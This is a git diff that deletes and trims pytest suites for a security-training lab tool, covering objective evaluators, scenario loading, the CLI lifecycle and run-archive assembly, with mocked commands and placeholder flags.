- assert result.passed is True - - -def test_command_output_regex_no_match(mocker): - """Command output fails when regex doesn't match.""" - validation = CommandOutputValidation( - container="kali", - command="echo test", - contains=[], - regex=r"FLAG\{[a-z_]+\}", - ) - mock_result = MagicMock() - mock_result.returncode = 0 - mock_result.stdout = "No flag here" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - result = asyncio.run(evaluate_command_output("regex-obj", validation)) - assert result.passed is False - assert "Regex not matched" in result.detail - - -# --------------------------------------------------------------------------- -# File exists evaluator -# --------------------------------------------------------------------------- - - -def test_file_exists_pass(mocker, file_validation): - """File exists passes when file is found with expected content.""" - mock_result = MagicMock() - mock_result.returncode = 0 - mock_result.stdout = "FLAG{found}" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - result = asyncio.run(evaluate_file_exists("find-file", file_validation)) - assert result.passed is True - - -def test_file_exists_not_found(mocker, file_validation): - """File exists fails when file is not found.""" - mock_result = MagicMock() - mock_result.returncode = 1 - mock_result.stdout = "" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - result = asyncio.run(evaluate_file_exists("find-file", file_validation)) - assert result.passed is False - assert "not found" in result.detail.lower() - - -def test_file_exists_wrong_content(mocker, file_validation): - """File exists fails when content doesn't match.""" - mock_result = MagicMock() - mock_result.returncode = 0 - mock_result.stdout = "Wrong content" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - result = asyncio.run(evaluate_file_exists("find-file", file_validation)) - assert result.passed is False - assert "missing content" in result.detail.lower() - - -def test_file_exists_no_content_check(mocker): - """File exists passes when no content check is specified.""" - validation = FileExistsValidation( - container="victim", - path="/etc/hosts", - ) - mock_result = MagicMock() - mock_result.returncode = 0 - mock_result.stdout = "127.0.0.1 localhost" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - result = asyncio.run(evaluate_file_exists("check-hosts", validation)) - assert result.passed is True - - -# --------------------------------------------------------------------------- -# Objective dispatcher -# --------------------------------------------------------------------------- - - -def test_evaluate_objective_manual(): - """Manual objectives return not-evaluable.""" - obj = Objective( - id="manual-obj", - description="Do something manually", - type=ObjectiveType.MANUAL, - points=100, - ) - result = asyncio.run(evaluate_objective(obj, SESSION_STARTED_AT)) - assert result.passed is False - assert "manual" in result.detail.lower() - - -def test_evaluate_objective_wazuh(mocker): - """Dispatcher routes wazuh_alert objectives correctly.""" - mocker.patch( - "aptl.core.evaluators._curl_json", - return_value={"hits": {"total": {"value": 10}, "hits": []}}, - ) - obj = Objective( - id="wazuh-obj", - description="Detect alerts", - type=ObjectiveType.WAZUH_ALERT, - points=75, - wazuh_alert=WazuhAlertValidation( - query={"match_all": {}}, - min_matches=1, - ), - ) - result = asyncio.run(evaluate_objective(obj, SESSION_STARTED_AT)) - assert result.passed is True - assert result.objective_id == "wazuh-obj" - - -def test_evaluate_objective_command(mocker): - """Dispatcher routes command_output objectives correctly.""" - mock_result = MagicMock() - mock_result.returncode = 0 - mock_result.stdout = "FLAG{x}" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - obj = Objective( - id="cmd-obj", - description="Check command", - type=ObjectiveType.COMMAND_OUTPUT, - points=50, - command_output=CommandOutputValidation( - container="kali", - command="cat /tmp/flag", - contains=["FLAG{x}"], - ), - ) - result = asyncio.run(evaluate_objective(obj, SESSION_STARTED_AT)) - assert result.passed is True - - -def test_evaluate_objective_file(mocker): - """Dispatcher routes file_exists objectives correctly.""" - mock_result = MagicMock() - mock_result.returncode = 0 - mock_result.stdout = "content" - mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) - - obj = Objective( - id="file-obj", - description="Check file", - type=ObjectiveType.FILE_EXISTS, - points=50, - file_exists=FileExistsValidation( - container="victim", - path="/tmp/test", - ), - ) - result = asyncio.run(evaluate_objective(obj, SESSION_STARTED_AT)) - assert result.passed is True - - -# --------------------------------------------------------------------------- -# Error / edge-case paths -# --------------------------------------------------------------------------- - - -def test_wazuh_alert_exception_in_to_thread(mocker, wazuh_validation): - """Wazuh evaluator returns failure when _curl_json raises.""" - mocker.patch( - "aptl.core.evaluators._curl_json", - side_effect=OSError("Connection refused"), - ) - result = asyncio.run(evaluate_wazuh_alert( - "err-obj", wazuh_validation, SESSION_STARTED_AT - )) - assert result.passed is False - assert "Query error" in result.detail - - -def test_command_output_exception_in_to_thread(mocker, command_validation): - """Command evaluator returns failure when _run_cmd raises.""" - mocker.patch( - "aptl.core.evaluators._run_cmd", - side_effect=OSError("Docker not found"), - ) - result = asyncio.run(evaluate_command_output("err-obj", command_validation)) - assert result.passed is False - assert "Execution error" in result.detail - - -def test_file_exists_exception_in_to_thread(mocker, file_validation): - """File evaluator returns failure when _run_cmd raises.""" - mocker.patch( - "aptl.core.evaluators._run_cmd", - side_effect=OSError("Docker not found"), - ) - result = asyncio.run(evaluate_file_exists("err-obj", file_validation)) - assert result.passed is False - assert "Execution error" in result.detail - - -def test_wazuh_alert_naive_session_timestamp(mocker, wazuh_validation): - """Wazuh evaluator handles naive (no-tz) session timestamps.""" - mocker.patch( - "aptl.core.evaluators._curl_json", - return_value={"hits": {"total": {"value": 10}, "hits": []}}, - ) - result = asyncio.run(evaluate_wazuh_alert( - "tz-obj", wazuh_validation, "2026-03-26T10:00:00" - )) - assert result.passed is True - - -def test_wazuh_alert_window_clamped_to_session_start(mocker): - """Time window is clamped to session start when session is shorter than window.""" - validation = WazuhAlertValidation( - query={"match_all": {}}, - min_matches=1, - time_window_seconds=3600, # max allowed; will exceed session age - ) - mocker.patch( - "aptl.core.evaluators._curl_json", - return_value={"hits": {"total": {"value": 5}, "hits": []}}, - ) - result = asyncio.run(evaluate_wazuh_alert( - "clamp-obj", validation, SESSION_STARTED_AT - )) - assert result.passed is True diff --git a/tests/test_integration.py b/tests/test_integration.py deleted file mode 100644 index 3408d352a..000000000 --- a/tests/test_integration.py +++ /dev/null @@ -1,412 +0,0 @@ -"""Integration tests for the SOC scenario feature. - -Validates example scenario files, tests CLI commands against real -scenarios, and verifies the end-to-end lifecycle matches acceptance -criteria from the spec. -""" - -import json -from pathlib import Path - -import pytest -import yaml -from typer.testing import CliRunner - -from aptl.cli.scenario import app -from aptl.core.scenarios import ( - ScenarioDefinition, - ScenarioMode, - find_scenarios, - load_scenario, -) -from aptl.core.session import ScenarioSession, SessionState - -runner = CliRunner() - -SCENARIOS_DIR = Path(__file__).parent.parent / "scenarios" - - -# --------------------------------------------------------------------------- -# Example scenario file validation -# --------------------------------------------------------------------------- - - -class TestExampleScenarios: - """Validate that the bundled example scenario files load correctly.""" - - def test_recon_nmap_scan_loads(self): - """AC-2: recon-nmap-scan.yaml validates without errors.""" - path = SCENARIOS_DIR / "recon-nmap-scan.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - scenario = load_scenario(path) - assert scenario.metadata.id == "recon-nmap-scan" - assert scenario.mode == ScenarioMode.RED - assert scenario.metadata.difficulty.value == "beginner" - - def test_recon_nmap_scan_objectives(self): - """recon-nmap-scan should have 3 red objectives, 0 blue.""" - path = SCENARIOS_DIR / "recon-nmap-scan.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - scenario = load_scenario(path) - assert len(scenario.objectives.red) == 3 - assert len(scenario.objectives.blue) == 0 - - ids = [o.id for o in scenario.objectives.red] - assert "port-scan" in ids - assert "service-identification" in ids - assert "find-flag" in ids - - def test_recon_nmap_scan_scoring(self): - """recon-nmap-scan should have time bonus and passing score.""" - path = SCENARIOS_DIR / "recon-nmap-scan.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - scenario = load_scenario(path) - assert scenario.scoring.time_bonus.enabled is True - assert scenario.scoring.time_bonus.max_bonus == 50 - assert scenario.scoring.passing_score == 100 - assert scenario.scoring.max_score == 250 - - def test_recon_nmap_scan_preconditions(self): - """recon-nmap-scan should have one file precondition.""" - path = SCENARIOS_DIR / "recon-nmap-scan.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - scenario = load_scenario(path) - assert len(scenario.preconditions) == 1 - assert scenario.preconditions[0].type.value == "file" - assert scenario.preconditions[0].container == "victim" - - def test_recon_nmap_scan_hints(self): - """recon-nmap-scan objectives should have correct hint counts.""" - path = SCENARIOS_DIR / "recon-nmap-scan.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - scenario = load_scenario(path) - obj_by_id = {o.id: o for o in scenario.objectives.red} - - assert len(obj_by_id["port-scan"].hints) == 2 - assert len(obj_by_id["service-identification"].hints) == 1 - assert len(obj_by_id["find-flag"].hints) == 2 - - def test_detect_brute_force_loads(self): - """AC-2: detect-brute-force.yaml validates without errors.""" - path = SCENARIOS_DIR / "detect-brute-force.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - scenario = load_scenario(path) - assert scenario.metadata.id == "detect-brute-force" - assert scenario.mode == ScenarioMode.PURPLE - assert scenario.metadata.difficulty.value == "intermediate" - - def test_detect_brute_force_objectives(self): - """detect-brute-force should have 1 red and 2 blue objectives.""" - path = SCENARIOS_DIR / "detect-brute-force.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - scenario = load_scenario(path) - assert len(scenario.objectives.red) == 1 - assert len(scenario.objectives.blue) == 2 - - blue_ids = [o.id for o in scenario.objectives.blue] - assert "detect-auth-failures" in blue_ids - assert "identify-attacker-ip" in blue_ids - - def test_detect_brute_force_wazuh_alert_type(self): - """detect-brute-force should have a wazuh_alert objective.""" - path = SCENARIOS_DIR / "detect-brute-force.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - scenario = load_scenario(path) - alert_obj = next( - o for o in scenario.objectives.blue if o.id == "detect-auth-failures" - ) - assert alert_obj.type.value == "wazuh_alert" - assert alert_obj.wazuh_alert is not None - assert alert_obj.wazuh_alert.min_matches == 5 - - def test_find_scenarios_discovers_both(self): - """AC-1: find_scenarios should discover both example files.""" - if not SCENARIOS_DIR.exists(): - pytest.skip("Scenarios directory not found") - - paths = find_scenarios(SCENARIOS_DIR) - names = [p.stem for p in paths] - assert "recon-nmap-scan" in names - assert "detect-brute-force" in names - - def test_total_points_recon_nmap_scan(self): - """Total objective points should be 200 (50+50+100).""" - path = SCENARIOS_DIR / "recon-nmap-scan.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - scenario = load_scenario(path) - total = sum(o.points for o in scenario.objectives.all_objectives()) - assert total == 200 - - def test_total_points_detect_brute_force(self): - """Total objective points should be 200 (50+75+75).""" - path = SCENARIOS_DIR / "detect-brute-force.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - scenario = load_scenario(path) - total = sum(o.points for o in scenario.objectives.all_objectives()) - assert total == 200 - - def test_webapp_compromise_loads(self): - """Converted webapp-compromise.yaml should load as unified scenario.""" - path = SCENARIOS_DIR / "webapp-compromise.yaml" - if not path.exists(): - pytest.skip("Converted playbook not present") - scenario = load_scenario(path) - assert scenario.metadata.id == "webapp-compromise" - assert len(scenario.steps) == 6 - assert scenario.attack_chain == "Recon -> SQLi -> DB Access -> Privesc -> Data Exfil" - assert scenario.steps[0].technique_id == "T1595.002" - - def test_ad_domain_compromise_loads(self): - """Converted ad-domain-compromise.yaml should load as unified scenario.""" - path = SCENARIOS_DIR / "ad-domain-compromise.yaml" - if not path.exists(): - pytest.skip("Converted playbook not present") - scenario = load_scenario(path) - assert scenario.metadata.id == "ad-domain-compromise" - assert len(scenario.steps) == 5 - assert scenario.steps[0].expected_detections[0].product_name == "wazuh" - - def test_lateral_movement_loads(self): - """Converted lateral-movement-data-theft.yaml should load as unified scenario.""" - path = SCENARIOS_DIR / "lateral-movement-data-theft.yaml" - if not path.exists(): - pytest.skip("Converted playbook not present") - scenario = load_scenario(path) - assert scenario.metadata.id == "lateral-movement-data-theft" - assert len(scenario.steps) == 5 - - def test_find_scenarios_discovers_all(self): - """find_scenarios should discover all 5 scenario files.""" - if not SCENARIOS_DIR.exists(): - pytest.skip("Scenarios directory not found") - paths = find_scenarios(SCENARIOS_DIR) - names = [p.stem for p in paths] - assert "recon-nmap-scan" in names - assert "detect-brute-force" in names - assert "webapp-compromise" in names - assert "ad-domain-compromise" in names - assert "lateral-movement-data-theft" in names - - -# --------------------------------------------------------------------------- -# CLI integration with real scenario files -# --------------------------------------------------------------------------- - - -class TestCLIWithExampleScenarios: - """Test CLI commands against the bundled example scenario files.""" - - def _project_dir(self, tmp_path: Path) -> Path: - """Set up a project dir that uses the real scenarios directory.""" - return tmp_path - - def test_list_shows_examples(self, tmp_path): - """AC-1: list should show both example scenarios.""" - if not SCENARIOS_DIR.exists(): - pytest.skip("Scenarios directory not found") - - wide_runner = CliRunner(env={"COLUMNS": "200"}) - result = wide_runner.invoke(app, [ - "list", - "--scenarios-dir", str(SCENARIOS_DIR), - ]) - assert result.exit_code == 0 - assert "recon-nmap-scan" in result.output - assert "detect-brute-force" in result.output - assert "beginner" in result.output - assert "intermediate" in result.output - - def test_show_recon_scenario(self, tmp_path): - """AC-1: show should display full scenario details.""" - if not SCENARIOS_DIR.exists(): - pytest.skip("Scenarios directory not found") - - result = runner.invoke(app, [ - "show", "recon-nmap-scan", - "--scenarios-dir", str(SCENARIOS_DIR), - ]) - assert result.exit_code == 0 - assert "Network Reconnaissance" in result.output - assert "port-scan" in result.output - assert "find-flag" in result.output - - def test_validate_recon_scenario(self, tmp_path): - """AC-2: validate should succeed for the example file.""" - path = SCENARIOS_DIR / "recon-nmap-scan.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - result = runner.invoke(app, ["validate", str(path)]) - assert result.exit_code == 0 - assert "Valid" in result.output - - def test_validate_brute_force_scenario(self, tmp_path): - """AC-2: validate should succeed for the brute force example.""" - path = SCENARIOS_DIR / "detect-brute-force.yaml" - if not path.exists(): - pytest.skip("Example scenario file not found") - - result = runner.invoke(app, ["validate", str(path)]) - assert result.exit_code == 0 - assert "Valid" in result.output - - -# --------------------------------------------------------------------------- -# Full lifecycle integration test -# --------------------------------------------------------------------------- - - -class TestFullLifecycle: - """End-to-end test of the complete scenario lifecycle. - - Uses a purpose-built scenario to test: - start -> status -> stop - without requiring Docker or Wazuh. - """ - - @staticmethod - def _setup_project(tmp_path: Path) -> Path: - """Create a project dir with a test scenario.""" - scenarios_dir = tmp_path / "scenarios" - scenarios_dir.mkdir(parents=True) - - data = { - "metadata": { - "id": "integration-test", - "name": "Integration Test Scenario", - "description": "Full lifecycle integration test", - "difficulty": "beginner", - "estimated_minutes": 5, - }, - "mode": "red", - "containers": {"required": ["kali"]}, - "steps": [ - { - "step_number": 1, - "technique_id": "T1595.002", - "technique_name": "Active Scanning", - "tactic": "Reconnaissance", - "description": "Scan the target", - "target": "victim", - }, - ], - } - - (scenarios_dir / "integration-test.yaml").write_text( - yaml.dump(data, default_flow_style=False) - ) - return tmp_path - - def test_start_creates_session_and_trace_context(self, tmp_path): - """AC-3: start creates session.json and writes trace-context.json.""" - project = self._setup_project(tmp_path) - - result = runner.invoke(app, [ - "start", "integration-test", - "--project-dir", str(project), - ]) - assert result.exit_code == 0 - assert "Started scenario" in result.output - - # Session file - session_path = project / ".aptl" / "session.json" - assert session_path.exists() - session_data = json.loads(session_path.read_text()) - assert session_data["scenario_id"] == "integration-test" - assert session_data["state"] == "active" - assert len(session_data["trace_id"]) == 32 - - # Trace context file for MCP servers - ctx_path = project / ".aptl" / "trace-context.json" - assert ctx_path.exists() - ctx_data = json.loads(ctx_path.read_text()) - assert ctx_data["trace_id"] == session_data["trace_id"] - - def test_status_shows_progress(self, tmp_path): - """AC-4: status shows elapsed time.""" - project = self._setup_project(tmp_path) - runner.invoke(app, [ - "start", "integration-test", - "--project-dir", str(project), - ]) - - result = runner.invoke(app, [ - "status", "--project-dir", str(project), - ]) - assert result.exit_code == 0 - assert "integration-test" in result.output - assert "active" in result.output - assert "Elapsed" in result.output - - def test_stop_scenario(self, tmp_path): - """AC-7: stop ends the scenario and assembles run archive.""" - project = self._setup_project(tmp_path) - runner.invoke(app, [ - "start", "integration-test", - "--project-dir", str(project), - ]) - - result = runner.invoke(app, [ - "stop", "--project-dir", str(project), - ]) - assert result.exit_code == 0 - assert "Scenario stopped" in result.output - assert "Duration:" in result.output - - def test_session_cleared_after_stop(self, tmp_path): - """After stop, session should be cleared for a new scenario.""" - project = self._setup_project(tmp_path) - runner.invoke(app, [ - "start", "integration-test", - "--project-dir", str(project), - ]) - runner.invoke(app, [ - "stop", "--project-dir", str(project), - ]) - - # No active scenario - result = runner.invoke(app, [ - "status", "--project-dir", str(project), - ]) - assert "No active scenario" in result.output - - # Can start a new scenario - result = runner.invoke(app, [ - "start", "integration-test", - "--project-dir", str(project), - ]) - assert result.exit_code == 0 - - def test_trace_context_cleaned_after_stop(self, tmp_path): - """trace-context.json should be removed after stop.""" - project = self._setup_project(tmp_path) - runner.invoke(app, [ - "start", "integration-test", - "--project-dir", str(project), - ]) - runner.invoke(app, [ - "stop", "--project-dir", str(project), - ]) - - ctx_path = project / ".aptl" / "trace-context.json" - assert not ctx_path.exists() diff --git a/tests/test_run_assembler.py b/tests/test_run_assembler.py deleted file mode 100644 index 633896e65..000000000 --- a/tests/test_run_assembler.py +++ /dev/null @@ -1,271 +0,0 @@ -"""Integration tests for run assembly.""" - -import json -from datetime import datetime, timezone -from pathlib import Path -from unittest.mock import patch - -import pytest - -from aptl.core.config import AptlConfig -from aptl.core.run_assembler import assemble_run -from aptl.core.runstore import LocalRunStore -from aptl.core.scenarios import ScenarioDefinition, load_scenario -from aptl.core.session import ActiveSession, SessionState - - -def _make_session(run_id: str = "test-run-id") -> ActiveSession: - return ActiveSession( - scenario_id="test-scenario", - state=SessionState.COMPLETED, - started_at="2025-01-01T00:00:00+00:00", - trace_id="a" * 32, - span_id="b" * 16, - flags={ - "aptl-victim": { - "user": { - "flag": "APTL{test}", - "token": "aptl:v1:victim:user:abc:def", - "path": "/home/labadmin/user.txt", - "description": "Test flag", - } - } - }, - run_id=run_id, - ) - - - -def _make_scenario_yaml(path: Path) -> Path: - """Create a minimal scenario YAML file for testing.""" - yaml_content = """metadata: - id: test-scenario - name: Test Scenario - description: A test scenario for unit tests. - version: "1.0" - difficulty: beginner - estimated_minutes: 60 - tags: [test] - mitre_attack: - tactics: [] - techniques: [] - -mode: red - -containers: - required: [victim, kali] - -objectives: - red: - - id: obj-1 - description: Test objective - type: manual - points: 100 - -scoring: - max_score: 150 - passing_score: 50 - time_bonus: - enabled: true - max_bonus: 50 - decay_after_minutes: 30 -""" - scenario_dir = path / "scenarios" - scenario_dir.mkdir(parents=True, exist_ok=True) - scenario_path = scenario_dir / "test-scenario.yaml" - scenario_path.write_text(yaml_content) - return scenario_path - - -class TestAssembleRun: - """Tests for the run assembly orchestrator.""" - - @patch("aptl.core.run_assembler._active_containers") - @patch("aptl.core.run_assembler.collect_wazuh_alerts") - @patch("aptl.core.run_assembler.collect_suricata_eve") - @patch("aptl.core.run_assembler.collect_thehive_cases") - @patch("aptl.core.run_assembler.collect_misp_events") - @patch("aptl.core.run_assembler.collect_shuffle_executions") - @patch("aptl.core.run_assembler.collect_container_logs") - @patch("aptl.core.run_assembler.collect_traces") - def test_assembles_complete_run( - self, - mock_traces, - mock_container_logs, - mock_shuffle, - mock_misp, - mock_thehive, - mock_suricata, - mock_wazuh, - mock_containers, - tmp_path, - ): - # Setup mocks - mock_containers.return_value = ["aptl-victim", "aptl-kali"] - mock_wazuh.return_value = [ - {"rule": {"id": "1"}, "@timestamp": "2025-01-01T00:30:00"}, - ] - mock_suricata.return_value = [] - mock_thehive.return_value = [] - mock_misp.return_value = [] - mock_shuffle.return_value = [] - mock_container_logs.return_value = { - "aptl-victim": "victim log output\n", - } - mock_traces.return_value = [ - {"name": "aptl.scenario.run", "traceId": "a" * 32}, - {"name": "execute_tool", "traceId": "a" * 32}, - ] - - # Create scenario file - scenario_path = _make_scenario_yaml(tmp_path) - scenario = load_scenario(scenario_path) - - store = LocalRunStore(tmp_path / "runs") - session = _make_session() - config = AptlConfig() - - run_dir = assemble_run( - store=store, - run_id="test-run-id", - session=session, - scenario=scenario, - scenario_path=scenario_path, - config=config, - ) - - # Verify run directory structure - assert run_dir.exists() - assert (run_dir / "manifest.json").exists() - assert (run_dir / "flags.json").exists() - assert (run_dir / "scenario" / "definition.yaml").exists() - assert (run_dir / "wazuh" / "alerts.jsonl").exists() - assert (run_dir / "containers" / "aptl-victim.log").exists() - assert (run_dir / "traces" / "spans.json").exists() - - # Verify manifest content - manifest = json.loads((run_dir / "manifest.json").read_text()) - assert manifest["run_id"] == "test-run-id" - assert manifest["scenario_id"] == "test-scenario" - assert manifest["scenario_name"] == "Test Scenario" - assert manifest["flags_captured"] == 1 - assert manifest["trace_id"] == "a" * 32 - - # Verify flags - flags = json.loads((run_dir / "flags.json").read_text()) - assert "aptl-victim" in flags - - # Verify container logs - assert "victim log output" in (run_dir / "containers" / "aptl-victim.log").read_text() - - # Verify traces - spans = json.loads((run_dir / "traces" / "spans.json").read_text()) - assert len(spans) == 2 - assert spans[0]["name"] == "aptl.scenario.run" - - @patch("aptl.core.run_assembler._active_containers") - @patch("aptl.core.run_assembler.collect_wazuh_alerts") - @patch("aptl.core.run_assembler.collect_suricata_eve") - @patch("aptl.core.run_assembler.collect_thehive_cases") - @patch("aptl.core.run_assembler.collect_misp_events") - @patch("aptl.core.run_assembler.collect_shuffle_executions") - @patch("aptl.core.run_assembler.collect_container_logs") - @patch("aptl.core.run_assembler.collect_traces") - def test_handles_no_optional_data( - self, - mock_traces, - mock_container_logs, - mock_shuffle, - mock_misp, - mock_thehive, - mock_suricata, - mock_wazuh, - mock_containers, - tmp_path, - ): - """Run assembly works even when all optional collectors return empty.""" - mock_containers.return_value = [] - mock_wazuh.return_value = [] - mock_suricata.return_value = [] - mock_thehive.return_value = [] - mock_misp.return_value = [] - mock_shuffle.return_value = [] - mock_container_logs.return_value = {} - mock_traces.return_value = [] - - scenario_path = _make_scenario_yaml(tmp_path) - scenario = load_scenario(scenario_path) - - store = LocalRunStore(tmp_path / "runs") - session = _make_session() - config = AptlConfig() - - run_dir = assemble_run( - store=store, - run_id="minimal-run", - session=session, - scenario=scenario, - scenario_path=scenario_path, - config=config, - ) - - # Core files should always exist - assert (run_dir / "manifest.json").exists() - assert (run_dir / "flags.json").exists() - - # No traces when Tempo returns empty - assert not (run_dir / "traces" / "spans.json").exists() - assert not (run_dir / "soc" / "thehive-cases.json").exists() - - -class TestRunManifest: - """Tests for manifest structure.""" - - @patch("aptl.core.run_assembler._active_containers", return_value=[]) - @patch("aptl.core.run_assembler.collect_wazuh_alerts", return_value=[]) - @patch("aptl.core.run_assembler.collect_suricata_eve", return_value=[]) - @patch("aptl.core.run_assembler.collect_thehive_cases", return_value=[]) - @patch("aptl.core.run_assembler.collect_misp_events", return_value=[]) - @patch("aptl.core.run_assembler.collect_shuffle_executions", return_value=[]) - @patch("aptl.core.run_assembler.collect_container_logs", return_value={}) - @patch("aptl.core.run_assembler.collect_traces", return_value=[]) - def test_manifest_has_required_fields( - self, m1, m2, m3, m4, m5, m6, m7, m8, tmp_path - ): - - scenario_path = _make_scenario_yaml(tmp_path) - scenario = load_scenario(scenario_path) - - store = LocalRunStore(tmp_path / "runs") - run_dir = assemble_run( - store=store, - run_id="manifest-test", - session=_make_session("manifest-test"), - scenario=scenario, - scenario_path=scenario_path, - config=AptlConfig(), - ) - - manifest = json.loads((run_dir / "manifest.json").read_text()) - - required_keys = [ - "run_id", - "scenario_id", - "scenario_name", - "started_at", - "finished_at", - "duration_seconds", - "trace_id", - "config_snapshot", - "containers", - "flags_captured", - ] - for key in required_keys: - assert key in manifest, f"Missing manifest key: {key}" - - assert manifest["run_id"] == "manifest-test" - assert manifest["trace_id"] == "a" * 32 - assert isinstance(manifest["duration_seconds"], (int, float)) - assert isinstance(manifest["config_snapshot"], dict) - assert "lab" in manifest["config_snapshot"] - assert "containers" in manifest["config_snapshot"] diff --git a/tests/test_scenarios.py b/tests/test_scenarios.py index 03a163d78..324ef3993 100644 --- a/tests/test_scenarios.py +++ b/tests/test_scenarios.py @@ -1,1325 +1,121 @@ -"""Tests for scenario definition models, loading, and validation. - -Tests exercise Pydantic model validation, YAML loading, file discovery, -and container requirement checking. All filesystem tests use tmp_path. -""" - -import json -from pathlib import Path +"""Tests for the SDL scenario loading boundary.""" import pytest -import yaml -from pydantic import ValidationError - - -# --------------------------------------------------------------------------- -# ScenarioMetadata validation -# --------------------------------------------------------------------------- - - -class TestScenarioMetadata: - """Tests for the ScenarioMetadata Pydantic model.""" - - def test_valid_minimal_metadata(self): - """Metadata with required fields should parse successfully.""" - from aptl.core.scenarios import ScenarioMetadata - - meta = ScenarioMetadata( - id="test-scan", - name="Test Scan", - description="A test scenario", - difficulty="beginner", - estimated_minutes=10, - ) - assert meta.id == "test-scan" - assert meta.name == "Test Scan" - assert meta.version == "1.0.0" - assert meta.author == "" - assert meta.tags == [] - - def test_valid_full_metadata(self): - """Metadata with all optional fields should parse.""" - from aptl.core.scenarios import ScenarioMetadata - - meta = ScenarioMetadata( - id="advanced-recon", - name="Advanced Recon", - description="An advanced scenario", - version="2.0.0", - author="APTL Team", - difficulty="advanced", - estimated_minutes=60, - tags=["recon", "nmap"], - mitre_attack={"tactics": ["TA0043"], "techniques": ["T1046"]}, - ) - assert meta.version == "2.0.0" - assert meta.author == "APTL Team" - assert meta.tags == ["recon", "nmap"] - assert meta.mitre_attack.tactics == ["TA0043"] - - def test_rejects_invalid_id_with_uppercase(self): - """Scenario ID must be lowercase slug.""" - from aptl.core.scenarios import ScenarioMetadata - - with pytest.raises(ValidationError, match="lowercase slug"): - ScenarioMetadata( - id="Test-Scan", - name="Test", - description="Desc", - difficulty="beginner", - estimated_minutes=10, - ) - - def test_rejects_invalid_id_with_spaces(self): - """Scenario ID must not contain spaces.""" - from aptl.core.scenarios import ScenarioMetadata - - with pytest.raises(ValidationError, match="lowercase slug"): - ScenarioMetadata( - id="test scan", - name="Test", - description="Desc", - difficulty="beginner", - estimated_minutes=10, - ) - - def test_rejects_invalid_id_with_double_hyphens(self): - """Scenario ID must not contain consecutive hyphens.""" - from aptl.core.scenarios import ScenarioMetadata - - with pytest.raises(ValidationError, match="lowercase slug"): - ScenarioMetadata( - id="test--scan", - name="Test", - description="Desc", - difficulty="beginner", - estimated_minutes=10, - ) - - def test_rejects_invalid_id_starting_with_hyphen(self): - """Scenario ID must start with alphanumeric.""" - from aptl.core.scenarios import ScenarioMetadata - - with pytest.raises(ValidationError, match="lowercase slug"): - ScenarioMetadata( - id="-test-scan", - name="Test", - description="Desc", - difficulty="beginner", - estimated_minutes=10, - ) - - def test_rejects_empty_name(self): - """Scenario name must not be empty.""" - from aptl.core.scenarios import ScenarioMetadata - - with pytest.raises(ValidationError, match="name"): - ScenarioMetadata( - id="test-scan", - name="", - description="Desc", - difficulty="beginner", - estimated_minutes=10, - ) - - def test_rejects_empty_description(self): - """Scenario description must not be empty.""" - from aptl.core.scenarios import ScenarioMetadata - - with pytest.raises(ValidationError, match="description"): - ScenarioMetadata( - id="test-scan", - name="Test", - description=" ", - difficulty="beginner", - estimated_minutes=10, - ) - - def test_rejects_zero_estimated_minutes(self): - """Estimated minutes must be greater than 0.""" - from aptl.core.scenarios import ScenarioMetadata - - with pytest.raises(ValidationError, match="estimated_minutes"): - ScenarioMetadata( - id="test-scan", - name="Test", - description="Desc", - difficulty="beginner", - estimated_minutes=0, - ) - - def test_rejects_estimated_minutes_over_480(self): - """Estimated minutes must not exceed 480.""" - from aptl.core.scenarios import ScenarioMetadata - - with pytest.raises(ValidationError, match="estimated_minutes"): - ScenarioMetadata( - id="test-scan", - name="Test", - description="Desc", - difficulty="beginner", - estimated_minutes=481, - ) - - def test_rejects_invalid_difficulty(self): - """Difficulty must be one of the enum values.""" - from aptl.core.scenarios import ScenarioMetadata - - with pytest.raises(ValidationError, match="difficulty"): - ScenarioMetadata( - id="test-scan", - name="Test", - description="Desc", - difficulty="impossible", - estimated_minutes=10, - ) - - def test_rejects_extra_fields(self): - """Extra fields should be rejected (extra=forbid).""" - from aptl.core.scenarios import ScenarioMetadata - - with pytest.raises(ValidationError, match="extra"): - ScenarioMetadata( - id="test-scan", - name="Test", - description="Desc", - difficulty="beginner", - estimated_minutes=10, - unknown_field="value", - ) - - def test_single_char_id_is_valid(self): - """A single character ID should be valid.""" - from aptl.core.scenarios import ScenarioMetadata - - meta = ScenarioMetadata( - id="x", - name="Test", - description="Desc", - difficulty="beginner", - estimated_minutes=10, - ) - assert meta.id == "x" - - -# --------------------------------------------------------------------------- -# Difficulty enum -# --------------------------------------------------------------------------- - - -class TestDifficulty: - """Tests for the Difficulty enum.""" - - def test_all_difficulty_levels(self): - """All four difficulty levels should be available.""" - from aptl.core.scenarios import Difficulty - - assert Difficulty.BEGINNER == "beginner" - assert Difficulty.INTERMEDIATE == "intermediate" - assert Difficulty.ADVANCED == "advanced" - assert Difficulty.EXPERT == "expert" - - -# --------------------------------------------------------------------------- -# Precondition validation -# --------------------------------------------------------------------------- - - -class TestPrecondition: - """Tests for the Precondition model.""" - - def test_valid_exec_precondition(self): - """Exec precondition with command should be valid.""" - from aptl.core.scenarios import Precondition - - pre = Precondition( - type="exec", - container="victim", - command="systemctl start apache2", - ) - assert pre.command == "systemctl start apache2" - - def test_valid_file_precondition(self): - """File precondition with path and content should be valid.""" - from aptl.core.scenarios import Precondition - - pre = Precondition( - type="file", - container="victim", - path="/tmp/flag.txt", - content="FLAG{test}", - ) - assert pre.path == "/tmp/flag.txt" - assert pre.content == "FLAG{test}" - - def test_exec_without_command_raises(self): - """Exec precondition without command should fail validation.""" - from aptl.core.scenarios import Precondition - - with pytest.raises(ValidationError, match="command"): - Precondition(type="exec", container="victim") 